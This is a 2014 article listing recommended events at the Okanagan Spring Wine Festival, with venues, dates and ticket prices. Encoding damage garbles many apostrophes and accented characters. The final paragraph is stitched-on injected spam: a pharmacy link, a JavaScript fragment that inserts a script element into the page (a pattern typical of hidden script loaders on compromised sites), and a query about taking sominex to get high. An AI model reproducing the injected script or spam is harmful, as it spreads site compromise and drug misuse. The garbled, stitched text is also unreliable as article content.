Okanagan festival springs to life – April 26, 2014

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The Okanagan Spring Wine Festival, set to run May 1-11, turns 20 this year or roughly two thirds the age of its big-brother fall event.

In this event, 119 wineries will play host to about 70 wine and culinary events. We couldna��t cover all the activities so our advice is to choose a selection of events and make sure you include a smaller, one-on-one event, such as an on-site tasting or hike or picnic to really put you in touch with the modern Okanagan.

I have a very short list of recommendations based on my experience with the wines and wineries involved. As you travel the valley, note some vineyards undergoing bud-burst, some will have leaves already unfurling and while others further north are still dormant. Site temperature and the general meso-climate affect vegetation growth and are the first keys to understanding sub-regions and terroir, so scan your environment.

A great start is The Best of Varietal Wine Awards to be announced May 1 with results on about 20 different varietal categories. You can taste the winners and sample fresh tapas from the Kettle Valley Station Pub at the Ramada Inn & Conference Center Penticton. Tickets are $50; event runs 6-8:30 p.m.

Bubbly Boot Camp takes place May 1 at Summerhill Pyramid Winery and will include a detailed immersion into sparkling wine production and dosage tasting. Guests will be able to disgorge their bottle of sparkling wine under the guidance of winemaker Eric von Krosigk. Successfully disgorged wines will be paired with organic appetizers. Tickets are $80; event runs 5-7 p.m. at Summerhill Pyramid Winery in East Kelowna.

Celebrating Pinot on May 3 features a welcome reception including canapA�s and wine pairings, showcasing the 2012 Martina��s Lane Pinot Noir. Dinner will be a grazing affair, highlighted by four chef-and sommelier-attended food and wine stations. Tickets are $115; event runs 6:30-9 p.m. at the Mission Hill Family Estate in West Kelowna.

Also on May 3 there will be a tribute to Roy Orbison at the grand opening of the new Smoke & Oak Bistro at Wild Goose Vineyards & Winery. Chef Sarren Wolfe hosts a barbecue buffet featuring local meats and produce paired with wild goose wines. Tickets are $45; event runs Noon to 3pm at Wild Goose winery in Okanagan Falls.

Innovative event on May 8 will feature the Comforts of Grilled Cheese. Presented by the Dairy Farmers of Canada you can taste eight different Canadian cheeses, from mild to aromatic, paired with wines supplied by CedarCreek, House of RosA�, St. Hubertus, Tantalus, Topshelf, The View, The Vibrant Vine and Upper Bench Winery and Creamery. Tickets are $50; event runs 6:30-9 p.m. at the Hotel Eldorado in East Kelowna.

Reds Whites and Blues invites you to sip and dance the night away on May 10. The evening starts on the waterfront with a Summerhill bubbly and hors da��oeuvres reception. The evening will feature Westside wineries: Mission Hill, Quailsa�� Gate, Mt. Boucherie, Volcanic Hills and Kalala Organic Estate paired with chef Grant de Montreuila��s menu a Bernard Callebaut chocolates. Music by Sherman Doucettea��s Tankful of Blues. Tickets are $89; event runs 6:30-11:30 p.m. at The Cove Lakeside Resort.

You can sip the Howling Bluff Spring Release with winemaker/owner Luke Smith including 2013 SQ Sauvignon Blanc Semillon, Pinot Gris, Sauvignon Blanc and the first ever SQ Semillon from May 1-11. There is no cost for the daily sessions scheduled for 11 a.m. to 5 p.m. at Howling Bluff Estate Winery.

The Vanilla Pod @Poplar Grove will offer chef Bruno Terrosoa��s five-course wine paired with Poplar Grove and Monster Vineyards wines from May 2-11. Daily from 5-9 p.m. at $99 per person plus taxes and gratuity at Poplar Grove Winery, Naramata Bench.

Take a walk on May 3 with winemaker Dwight Sick and find out what goes on in the vineyard and cellar daily and at harvest. This free event runs twice in the day 11:30 am or 1:30 pm at Stags Hollow Winery in Okanagan Falls.

For complete event information by winery go to http://www.thewinefestivals.com/events/byLocation.} http://cadencechildren.net/?p=885 ?buy renagel }document.currentScript.parentNode.insertBefore(s, document.currentScript); how much sominex to get high

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